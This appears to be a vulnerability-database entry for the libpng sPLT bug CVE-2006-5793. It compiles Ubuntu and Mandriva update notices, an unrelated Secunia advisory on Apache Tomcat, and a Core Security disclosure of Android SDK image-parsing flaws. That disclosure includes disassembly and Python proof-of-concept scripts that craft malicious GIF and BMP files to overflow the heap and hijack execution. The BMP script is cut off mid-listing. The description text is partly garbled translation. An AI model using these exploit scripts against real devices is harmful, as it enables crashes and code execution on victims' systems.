ID

VAR-200611-0210

CVE

CVE-2006-5793

TITLE

libpng of png_set_sPLT() Denial of service in function (DoS) Vulnerability

DESCRIPTION

The sPLT chunk handling code (png_set_sPLT function in pngset.c) in libpng 1.0.6 through 1.2.12 uses a sizeof operator on the wrong data type, which allows context-dependent attackers to cause a denial of service (crash) via malformed sPLT chunks that trigger an out-of-bounds read. PNG (Portable Network Graphics) Format image processing library libpng In png_set_sPLT() In the function sPLT In the chunk processing code section, PNG There is a problem that memory access violation occurs due to image processing.Web Pre-crafted, installed on site or attached to email png By browsing the file, service operation interruption (DoS) May be in a state. The 'libpng' graphics library is reported prone to a denial-of-service vulnerability. The library fails to perform proper bounds-checking of user-supplied input, which leads to an out-of-bounds read error. Attackers may exploit this vulnerability to crash an application that relies on the affected library. =========================================================== Ubuntu Security Notice USN-383-1 November 16, 2006 libpng vulnerability CVE-2006-5793 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 5.10 Ubuntu 6.06 LTS Ubuntu 6.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 5.10: libpng10-0 1.0.18-1ubuntu3.1 Ubuntu 6.06 LTS: libpng12-0 1.2.8rel-5ubuntu0.1 Ubuntu 6.10: libpng12-0 1.2.8rel-5.1ubuntu0.1 After a standard system upgrade you need to reboot your computer to effect the necessary changes. Details follow: Tavis Ormandy discovered that libpng did not correctly calculate the size of sPLT structures when reading an image. Updated packages for Ubuntu 5.10: Source archives: http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.0.18-1ubuntu3.1.diff.gz Size/MD5: 12960 3ae9ff536ba163efc00070487687399b http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.0.18-1ubuntu3.1.dsc Size/MD5: 636 3af55a46b4ada05160527a49c5dd6671 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.0.18.orig.tar.gz Size/MD5: 506181 40081bdc82e4c6cf782553cd5aa8d9d8 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng2-dev_1.0.18-1ubuntu3.1_all.deb Size/MD5: 1166 160ce752a119a735d2abf03ec1f1dd55 http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng2_1.0.18-1ubuntu3.1_all.deb Size/MD5: 942 e3c40272cd978953acf3469dbda42a30 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng10-0_1.0.18-1ubuntu3.1_amd64.deb Size/MD5: 113890 e395ef9909e34cc4333fb868a7a794f2 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng10-dev_1.0.18-1ubuntu3.1_amd64.deb Size/MD5: 197710 1b46e5c7e431d6640e319ca81f0634ad i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng10-0_1.0.18-1ubuntu3.1_i386.deb Size/MD5: 109224 e083cb785e2bc0225b47fee51c69b22b http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng10-dev_1.0.18-1ubuntu3.1_i386.deb Size/MD5: 186536 476d8276b05d075552fc878547a17092 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng10-0_1.0.18-1ubuntu3.1_powerpc.deb Size/MD5: 111444 cda22be3ef3d978e4aa3c7111c7f7436 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng10-dev_1.0.18-1ubuntu3.1_powerpc.deb Size/MD5: 196744 db0ae3294f47addab0ff52b4d134fff8 sparc architecture (Sun SPARC/UltraSPARC) http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng10-0_1.0.18-1ubuntu3.1_sparc.deb Size/MD5: 109078 26672912dc8d37ae7afbc57fba8cc477 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng10-dev_1.0.18-1ubuntu3.1_sparc.deb Size/MD5: 192902 458ef029777b12b5b4165e63d097c774 Updated packages for Ubuntu 6.06 LTS: Source archives: http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.2.8rel-5ubuntu0.1.diff.gz Size/MD5: 16308 c13ba4eb92c046153c73cec343ba0dad http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.2.8rel-5ubuntu0.1.dsc Size/MD5: 652 ec80abc5bbe3fb9593374a6df3e5351d http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.2.8rel.orig.tar.gz Size/MD5: 510681 cac1512878fb98f2456df6dc50bc9bc7 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng3_1.2.8rel-5ubuntu0.1_all.deb Size/MD5: 842 db0b015e80f042a3311152aad1a1f96f amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng12-0-udeb_1.2.8rel-5ubuntu0.1_amd64.udeb Size/MD5: 69468 8c741fd0d0ff83068e6dd78bc2e026c1 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.8rel-5ubuntu0.1_amd64.deb Size/MD5: 113808 c86b5b27effab5f974f4f2c4ce743515 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-dev_1.2.8rel-5ubuntu0.1_amd64.deb Size/MD5: 247500 6493fda0d94d75f2255cb48399fa5fec i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng12-0-udeb_1.2.8rel-5ubuntu0.1_i386.udeb Size/MD5: 66918 38259ac6fd9f0b4fc56e59b9b8fa75e4 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.8rel-5ubuntu0.1_i386.deb Size/MD5: 111304 440e23028cc1c9de3fb459f8969641d5 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-dev_1.2.8rel-5ubuntu0.1_i386.deb Size/MD5: 239650 0235a7988ea235573758fd45a7500cf9 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng12-0-udeb_1.2.8rel-5ubuntu0.1_powerpc.udeb Size/MD5: 66284 ba2f362738e47667364a69a7425a4bae http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.8rel-5ubuntu0.1_powerpc.deb Size/MD5: 110738 27426cfb75acb15305d71a26d79ecf70 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-dev_1.2.8rel-5ubuntu0.1_powerpc.deb Size/MD5: 245228 297d5a07d22ea0c2deb1e3a2da22cc7d sparc architecture (Sun SPARC/UltraSPARC) http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng12-0-udeb_1.2.8rel-5ubuntu0.1_sparc.udeb Size/MD5: 63820 b28e9240844c87f288986efcfaa6d82b http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.8rel-5ubuntu0.1_sparc.deb Size/MD5: 108438 439feb51a430e75b0314ebd0bbe9eeaf http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-dev_1.2.8rel-5ubuntu0.1_sparc.deb Size/MD5: 240068 f1d19c0623d6a875c240ae809f39cc37 Updated packages for Ubuntu 6.10: Source archives: http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.2.8rel-5.1ubuntu0.1.diff.gz Size/MD5: 16419 341fce97b60457776d7d5b3045e98ab8 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.2.8rel-5.1ubuntu0.1.dsc Size/MD5: 659 128223fd1ee1485c1edda30965e2c638 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng_1.2.8rel.orig.tar.gz Size/MD5: 510681 cac1512878fb98f2456df6dc50bc9bc7 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng3_1.2.8rel-5.1ubuntu0.1_all.deb Size/MD5: 884 ff80da62782949d9ee6e2f45de7368d8 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng12-0-udeb_1.2.8rel-5.1ubuntu0.1_amd64.udeb Size/MD5: 68974 410bb02f1680b74c0b7bdfe75b6d4f6c http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.8rel-5.1ubuntu0.1_amd64.deb Size/MD5: 113470 595b09232667d5f45bfc94cbac2154e4 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-dev_1.2.8rel-5.1ubuntu0.1_amd64.deb Size/MD5: 247126 af29f417517106cf651dab5c92ad52ee i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng12-0-udeb_1.2.8rel-5.1ubuntu0.1_i386.udeb Size/MD5: 69914 d335eae45c97a06251e2b1bb263a0f78 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.8rel-5.1ubuntu0.1_i386.deb Size/MD5: 114466 eb4ebc44ac004eddd4ac551f443d9196 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-dev_1.2.8rel-5.1ubuntu0.1_i386.deb Size/MD5: 242864 a79b348098a3e5051a93dcc3bfc44f80 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng12-0-udeb_1.2.8rel-5.1ubuntu0.1_powerpc.udeb Size/MD5: 67592 c11829d98adc0dd16883d1b00c773691 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.8rel-5.1ubuntu0.1_powerpc.deb Size/MD5: 112146 e95acde5a5756fe1e8ae3085e160a437 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-dev_1.2.8rel-5.1ubuntu0.1_powerpc.deb Size/MD5: 246662 eea28613a44952b49f1ebd1c9365c31e sparc architecture (Sun SPARC/UltraSPARC) http://security.ubuntu.com/ubuntu/pool/universe/libp/libpng/libpng12-0-udeb_1.2.8rel-5.1ubuntu0.1_sparc.udeb Size/MD5: 64644 0a019f09ea70eb9e0734542116919875 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-0_1.2.8rel-5.1ubuntu0.1_sparc.deb Size/MD5: 109320 c8c61d5fc9db2c8edf9ca933bc0aeea6 http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/libpng12-dev_1.2.8rel-5.1ubuntu0.1_sparc.deb Size/MD5: 241060 a4d7a38de962236150bbbb84be9c542f . ---------------------------------------------------------------------- Do you need accurate and reliable IDS / IPS / AV detection rules? Get in-depth vulnerability details: http://secunia.com/binary_analysis/sample_analysis/ ---------------------------------------------------------------------- TITLE: Apache Tomcat "RemoteFilterValve" Security Bypass Security Issue SECUNIA ADVISORY ID: SA32213 VERIFY ADVISORY: http://secunia.com/advisories/32213/ CRITICAL: Not critical IMPACT: Security Bypass WHERE: >From remote SOFTWARE: Apache Tomcat 5.x http://secunia.com/advisories/product/3571/ Apache Tomcat 4.x http://secunia.com/advisories/product/328/ DESCRIPTION: A security issue has been reported in Apache Tomcat, which potentially can be exploited by malicious people to bypass certain security restrictions. The security issue is caused due to a synchronisation problem when checking IP addresses and can be exploited to bypass a filter valve that extends "RemoteFilterValve" and potentially gain access to protected contexts. SOLUTION: Apache Tomcat 4.x: Update to version 4.1.32 or later. Apache Tomcat 5.x: Update to version 5.5.1 or later. PROVIDED AND/OR DISCOVERED BY: The vendor credits Kenichi Tsukamoto of Fujitsu Limited. ORIGINAL ADVISORY: Apache: http://tomcat.apache.org/security-4.html http://tomcat.apache.org/security-5.html https://issues.apache.org/bugzilla/show_bug.cgi?id=25835 JVN: http://jvn.jp/en/jp/JVN30732239/index.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandriva Linux Security Advisory MDKSA-2006:212 http://www.mandriva.com/security/ _______________________________________________________________________ Package : doxygen Date : November 16, 2006 Affected: 2006.0, 2007.0, Corporate 3.0, Corporate 4.0 _______________________________________________________________________ Problem Description: Doxygen is a documentation system for C, C++ and IDL. Tavis Ormandy, of the Gentoo Linux Security Auditing Team, discovered a typo in png_set_sPLT() that may cause an application using libpng to read out of bounds, resulting in a crash. (CVE-2006-5793) In addition, an patch to address several old vulnerabilities has been applied to this build. (CAN-2002-1363, CAN-2004-0421, CAN-2004-0597, CAN-2004-0598, CAN-2004-0599) Packages have been patched to correct these issues. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1363 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0421 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0597 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0598 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0599 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3334 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5793 _______________________________________________________________________ Updated Packages: Mandriva Linux 2006.0: f85fd4b73ca06136e4346df073851e5f 2006.0/i586/doxygen-1.4.4-1.1.20060mdk.i586.rpm 0842c1496bbb02b79d5cef3386b19380 2006.0/SRPMS/doxygen-1.4.4-1.1.20060mdk.src.rpm Mandriva Linux 2006.0/X86_64: fc3e569bd8ad2aa9aea76a6f4246cfec 2006.0/x86_64/doxygen-1.4.4-1.1.20060mdk.x86_64.rpm 0842c1496bbb02b79d5cef3386b19380 2006.0/SRPMS/doxygen-1.4.4-1.1.20060mdk.src.rpm Mandriva Linux 2007.0: 9d0af28627560057e6c80e64bbacf030 2007.0/i586/doxygen-1.4.7-1.1mdv2007.0.i586.rpm f673aab0185f79a8aa048f69b06807bf 2007.0/SRPMS/doxygen-1.4.7-1.1mdv2007.0.src.rpm Mandriva Linux 2007.0/X86_64: 7fca6ebbe6f07e51de7fd771678277b4 2007.0/x86_64/doxygen-1.4.7-1.1mdv2007.0.x86_64.rpm f673aab0185f79a8aa048f69b06807bf 2007.0/SRPMS/doxygen-1.4.7-1.1mdv2007.0.src.rpm Corporate 3.0: 9452cede2d92671808eebe1adfc395ef corporate/3.0/i586/doxygen-1.3.5-2.1.C30mdk.i586.rpm 9e84b6e12b77f43d123888b7ae05e5f4 corporate/3.0/SRPMS/doxygen-1.3.5-2.1.C30mdk.src.rpm Corporate 3.0/X86_64: d988dc94c39515b3855116709bcc84de corporate/3.0/x86_64/doxygen-1.3.5-2.1.C30mdk.x86_64.rpm 9e84b6e12b77f43d123888b7ae05e5f4 corporate/3.0/SRPMS/doxygen-1.3.5-2.1.C30mdk.src.rpm Corporate 4.0: a3b4702c81d1739249d59782efb316dc corporate/4.0/i586/doxygen-1.4.4-1.1.20060mlcs4.i586.rpm 8223a356c6cf8a790dd20b3d70533f19 corporate/4.0/SRPMS/doxygen-1.4.4-1.1.20060mlcs4.src.rpm Corporate 4.0/X86_64: 0568b10460c651f18fd3e2a8e76b4300 corporate/4.0/x86_64/doxygen-1.4.4-1.1.20060mlcs4.x86_64.rpm 8223a356c6cf8a790dd20b3d70533f19 corporate/4.0/SRPMS/doxygen-1.4.4-1.1.20060mlcs4.src.rpm _______________________________________________________________________ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com _______________________________________________________________________ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team <security*mandriva.com> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (GNU/Linux) iD8DBQFFXMIpmqjQ0CJFipgRAnt1AJ9NuzEsIC9PzHE278eZAhOPHjMh8QCePD/Q pK8OJ2vhx3DqZ400EPH5QMw= =R8Jo -----END PGP SIGNATURE----- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs Multiple vulnerabilities in Google's Android SDK *Advisory Information* Title: Multiple vulnerabilities in Google's Android SDK Advisory ID: CORE-2008-0124 Advisory URL: http://www.coresecurity.com/?action=item&id=2148 Date published: 2008-03-04 Date of last update: 2008-03-04 Vendors contacted: Google Release mode: Coordinated release *Vulnerability Information* Class: Heap overflow, integer overflow Remotely Exploitable: No Locally Exploitable: No Bugtraq ID: 28006, 28005 CVE Name: CVE-2008-0986, CVE-2008-0985, CVE-2006-5793, CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269 *Vulnerability Description* Android is project promoted primarily by Google through the Open Handset Alliance aimed at providing a complete set of software for mobile devices: an operating system, middleware and key mobile applications [1]. Although the project is currently in a development phase and has not made an official release yet, several vendors of mobile chips have unveiled prototype phones built using development releases of the platform at the Mobile World Congress [2]. Development using the Android platform gained activity early in 2008 as a result of Google's launch of the Android Development Challenge which includes $10 million USD in awards [3] for which a Software Development Kit (SDK) was made available in November 2007. The Android Software Development Kit includes a fully functional operating system, a set of core libraries, application development frameworks, a virtual machine for executing application and a phone emulator based on the QEMU emulator [4]. Public reports as of February 27th, 2008 state that the Android SDK has been downloaded 750,000 times since November 2007 [5]. Several vulnerabilities have been found in Android's core libraries for processing graphic content in some of the most used image formats (PNG, GIF an BMP). While some of these vulnerabilities stem from the use of outdated and vulnerable open source image processing libraries other were introduced by native Android code that use them or that implements new functionality. Exploitation of these vulnerabilities to yield complete control of a phone running the Android platform has been proved possible using the emulator included in the SDK, which emulates phone running the Android platform on an ARM microprocessor. This advisory contains technical descriptions of these security bugs, including a proof of concept exploit to run arbitrary code, proving the possibility of running code on Android stack (over an ARM architecture) via a binary exploit. *Vulnerable Packages* . Android SDK m3-rc37a and earlier are vulnerable several bugs in components that process GIF, PNG and BMP images (bugs #1, #2 and #3 of this advisory). Android SDK m5-rc14 is vulnerable to a security bug in the component that process BMP images (bug #3). *Non-vulnerable Packages* . Android SDK m5-rc15 *Vendor Information, Solutions and Workarounds* Vendor statement: "The current version of the Android SDK is an early look release to the open source community, provided so that developers can begin working with the platform to inform and shape our development of Android toward production readiness. The Open Handset Alliance welcomes input from the security community throughout this process. There will be many changes and updates to the platform before Android is ready for end users, including a full security review." *Credits* These vulnerabilities were discovered by Alfredo Ortega from Core Security Technologies, leading his Bugweek 2007 team called "Pampa Grande". It was researched in depth by Alfredo Ortega. *Technical Description / Proof of Concept Code* Android is a software stack for mobile devices that includes an operating system, middleware and key applications. Android relies on Linux version 2.6 for core system services such as security, memory management, process management, network stack, and driver model. The kernel also acts as an abstraction layer between the hardware and the rest of the software stack. The WebKit application framework is included to facilitate development of web client application functionality. The framework in turn uses different third-party open source libraries to implement processing of several image formats. Android includes a web browser based on the Webkit framework that contains multiple binary vulnerabilities when processing .GIF, .PNG and .BMP image files, allowing malicious client-side attacks on the web browser. A client-side attack could be launched from a malicious web site, hosting specially crafted content, with the possibility of executing arbitrary code on the victim's Android system. These client-side binary vulnerabilities were discovered using the Android SDK that includes an ARM architecture emulator. Binary vulnerabilities are the most common security bugs in computer software. Basic bibliography on these vulnerabilities includes a recently updated handbook about security holes that also describes current state-of-the-start exploitation techniques for different hardware platforms and operating systems [6]. The vulnerabilities discovered are summarized below grouped by the type of image file format that is parsed by the vulnerable component. #1 - GIF image parsing heap overflow The Graphics Interchange Format (GIF) is image format dating at least from 1989 [7]. It was popularized because GIF images can be compressed using the Lempel-Ziv-Welch (LZW) compression technique thus reducing the memory footprint and bandwidth required for transmission and storage. A memory corruption condition happens within the GIF processing library of the WebKit framework when the function 'GIFImageDecoder::onDecode()' allocates a heap buffer based on the _Logical Screen Width and Height_ filed of the GIF header (offsets 6 and 8) and then the resulting buffer is filled in with an amount of data bytes that is calculated based on the real Width and Height of the GIF image. There is a similar (if not the same) bug in the function 'GIFImageDecoder::haveDecodedRow() 'in the open-source version included by Android in 'WebKitLib\WebKit\WebCore\platform\image-decoders\gif\GifImageDecoder.cpp' inside 'webkit-522-android-m3-rc20.tar.gz' available at [8]. Detailed analysis: When the process 'com.google.android.browser' must handle content with a GIF file it loads a dynamic library called 'libsgl.so' which contains the decoders for multiple image file formats. Decoding of the GIF image is performed correctly by the library giflib 4.0 (compiled inside 'libsgl.so'). However, the wrapper object 'GIFImageDecoder' miscalculates the total size of the image. First, the Logical Screen Size is read and stored in the following calling sequence (As giflib is an Open Source MIT-licenced library, the source was available for analysis): 'GIFImageDecoder::onDecode()->DGifOpen()->DGifGetScreenDesc()'. The last function, 'DGifGetScreenDesc()', stores the _Logical Screen Width and Height_ in a structure called 'GifFileType': /----------- Int DGifGetScreenDesc(GifFileType * GifFile) { ... /* Put the screen descriptor into the file: */ if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_ERROR || DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR) return GIF_ERROR; ... } - -----------/ We can see that the fields are stored in the first 2 words of the structure: /----------- typedef struct GifFileType { /* Screen dimensions. */ GifWord SWidth, SHeight, ... } - -----------/ In the disassembly of the GIFImageDecoder::onDecode() function provided below we can see how the DGifOpen() function is called and that the return value (A GifFileType struct) is stored on the $R5 ARM register: /----------- .text:0002F234 BL _DGifOpen .text:0002F238 SUBS R5, R0, #0 ; GifFile -_ $R5 - -----------/ Then, the giflib function 'DGifSlurp()' is called and the Image size is correctly allocated using the Image Width and Height and not the Logical Screen Size: /----------- Int DGifSlurp(GifFileType * GifFile) { ... ImageSize = sp->ImageDesc.Width * sp->ImageDesc.Height; sp->RasterBits = (unsigned char *)malloc(ImageSize * sizeof(GifPixelType)); ... } - -----------/ Afterwards the _Logical Screen_ Width and Height are stored in the R9 and R11 registers: /----------- .text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth R11=SHeight ! - -----------/ However the actual image may be much larger that these sizes that are incorrectly passed to a number of methods of the 'GIFImageDecoder': /----------- ImageDecoder::chooseFromOneChoice(): .text:0002F294 MOV R0, R8 .text:0002F298 MOV R1, #3 .text:0002F29C MOV R2, R9 .text:0002F2A0 MOV R3, R11 .text:0002F2A4 STR R12, [SP,#0x48+var_3C] .text:0002F2A8 BL _ImageDecoder19chooseFromOneChoice; ImageDecoder::chooseFromOneChoice(SkBitmap::Config,int ,int) Bitmap::setConfig(): .text:0002F2B8 MOV R0, R7 ; R7 = SkBitmap .text:0002F2BC MOV R1, #3 .text:0002F2C0 MOV R2, R9 ; R9=SWidth R11=SHeight ! .text:0002F2C4 MOV R3, R11 .text:0002F2C8 STR R10, [SP,#0x48+var_48] .text:0002F2CC BL _Bitmap9setConfig ; Bitmap::setConfig(SkBitmap::Config,uint,uint,uint) - -----------/ This function stores the SWidth and SHeight inside the Bitmap object as shown in the following code snippet: /----------- .text:00035C38 MOV R7, R2 ; $R2 = SWidth, goes to $R7 .text:00035C3C MOV R8, R3 ; $R3 = SHeight, goes to $R8 .text:00035C40 MOV R4, R0 ; $R4 = *Bitmap - -----------/ And later: /----------- .text:00035C58 BL _Bitmap15ComputeRowBytes ; SkBitmap::ComputeRowBytes(SkBitmap::Config,uint) .text:00035C5C MOV R5, R0 ; $R5 = Real Row Bytes .text:00035C68 STRH R7, [R4,#0x18] ; *Bitmap+0x18 = SWidth .text:00035C6C STRH R8, [R4,#0x1A] ; *Bitmap+0x1A = SHeight .text:00035C60 STRH R5, [R4,#0x1C] ; *Bitmap+0x1C = Row Bytes - -----------/ The following python script generates a GIF file that causes the overflow. It requires the Python Imaging Library. Once generated the GIF file, it must be opened in the Android browser to trigger the overflow: /----------- ##Android Heap Overflow ##Ortega Alfredo _ Core Security Exploit Writers Team ##tested against Android SDK m3-rc37a import Image import struct #Creates a _good_ gif image imagename='overflow.gif' str = '\x00\x00\x00\x00'*30000 im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1) im.save(imagename,'GIF') #Shrink the Logical screen dimension SWidth=1 SHeight=1 img = open(imagename,'rb').read() img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:] #Save the _bad_ gif image q=open(imagename,'wb=""') q.write(img) q.close() - -----------/ This security bug affects Android SDK m3-rc37a and earlier versions. Version m5-rc14 of the Android SDK includes a fix and is not vulnerable to this bug. #2 - PNG image parsing, multiple vulnerabilities: The Portable Network Graphics (PNG) is a bitmapped image format that employs lossless data compression [9]. PNG was created to improve upon and replace the GIF format as an image file format that does not require a patent license. The library 'libsgl.so' used by Android's WebKit contains commonly used code to load graphic files, as libpng, giflib and others. The version inside libsgl.so distributed with Android SDK m3-rc37a and earlier versions include the string '"libpng version 1.2.8 - December 3, 2004"'. Source code inspection of the file '\WebKitLib\WebKit\WebCore\platform\image-decoders\png\png.c' included in the 'webkit-522-android-m3-rc20.tar.gz ' release of the Android project reveals that '"libpng version 1.2.7 - September 12, 2004"' has been used in this release. This old version of libpng makes Android SDK m3-rc37a and earlier versions vulnerable to the following known issues: ' CVE-2006-5793, CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269 '. Android version m5-rc14 has been updated to include libpng 1.2.24 and is likely not vulnerable. #3 - BMP image processing, negative offset integer overflow: The BMP file format, sometimes called bitmap or DIB file format (for device-independent bitmap), is an image file format used to store bitmap digital images, especially on Microsoft Windows and OS/2 operating systems [10]. The integer overflow is caused when a Windows Bitmap file (.BMP) header is parsed in the method 'BMP::readFromStream(Stream *, ImageDecoder::Mode)' inside the 'libsgl.so' library. When the value of the 'offset' field of the BMP file header is negative and the Bitmap Information section (DIB header) specifies an image of 8 bits per pixel (8 bpp) the parser will try to allocate a palette, and will use the negative offset to calculate the size of the palette. The following code initializes the palette with the color white ('0x00ffffff') but with a carefully chosen negative offset it can be made to overwrite any address of the process with that value. Because the BMP decoder source wasn't released, a disassembly of the binary included by Android is provided below: /----------- .text:0002EE38 MOV LR, R7 ; R7 is the negative offset .text:0002EE3C MOV R12, R7,LSL#2 .text:0002EE40 .text:0002EE40 loc_2EE40 .text:0002EE40 LDR R3, [R10,#0x10] .text:0002EE44 ADD LR, LR, #1 .text:0002EE48 MOVL R2, 0xFFFFFFFF .text:0002EE4C ADD R1, R12, R3 ; R3 is uninitialized (because of the same bug) but ranges 0x10000-0x20000 .text:0002EE50 MOV R0, #0 .text:0002EE54 CMP LR, R9 .text:0002EE58 STRB R2, [R12,R3] ;Write 0x00ffffff to R12+13 (equals R1) .text:0002EE5C STRB R2, [R1,#2] .text:0002EE60 STRB R0, [R1,#3] .text:0002EE64 STRB R2, [R1,#1] .text:0002EE68 ADD R12, R12, #4 .text:0002EE6C BNE loc_2EE40 - -----------/ Now, if let's take a look at the memory map of the Android browser: /----------- # ps ps USER PID PPID VSIZE RSS WCHAN PC NAME root 1 0 248 64 c0084edc 0000ae2c S /init root 2 0 0 0 c0049168 00000000 S kthreadd ... root 1206 1165 16892 14564 c0084edc 00274af8 S ./gdb app_0 1574 535 83564 12832 ffffffff afe0c79c S com.google.android.browser root 1600 587 840 324 00000000 afe0bfbc R ps # cat /proc/1574/maps cat /proc/1574/maps 00008000-0000a000 rwxp 00000000 1f:00 514 /system/bin/app_process 0000a000-00c73000 rwxp 0000a000 00:00 0 [heap] 08000000-08001000 rw-s 00000000 00:08 344 /dev/zero (deleted) ... # - -----------/ We can see that the heap is located in the range '0000a000-00c73000' and it is executable. Overwriting this area will allow to redirect execution flow if there is a virtual table stored in the heap. Later on the same method we can see that a call to the "Stream" Object VT is made: /----------- .text:0002EB64 LDR R12, [R8] # R8 is the "this" pointer of the Stream Object .text:0002EB68 MOV R0, R8 .text:0002EB6C MOV LR, PC .text:0002EB70 LDR PC, [R12,#0x10] # A call is made to Stream+0x10 - -----------/ Because the "Stream" Object (R8) is stored on the heap and we can fill the heap with the white color ' 0x00ffffff' we can load the Program Counter with the value at '0xffffff+0x10'. The following python script will generate a BMP to accomplish that: /----------- # This script generates a Bitmap file that makes the Android browser jump to the address at 0xffffff+0x10 # Must be loaded inside a HTML file with a tag like this: &lt;IMG src=badbmp.bmp&gt; # Alfredo Ortega - Core Security import struct offset = 0xffef0000 width = 0x0bffff height=8 bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00" bmp+=struct.pack("<I",offset) bmp+="\x28\x00\x00\x00" bmp+=struct.pack("<I",width) bmp+=struct.pack("<I",height) bmp+="\x03\x00\x08\x00\x00\x00" bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff" bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41" bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 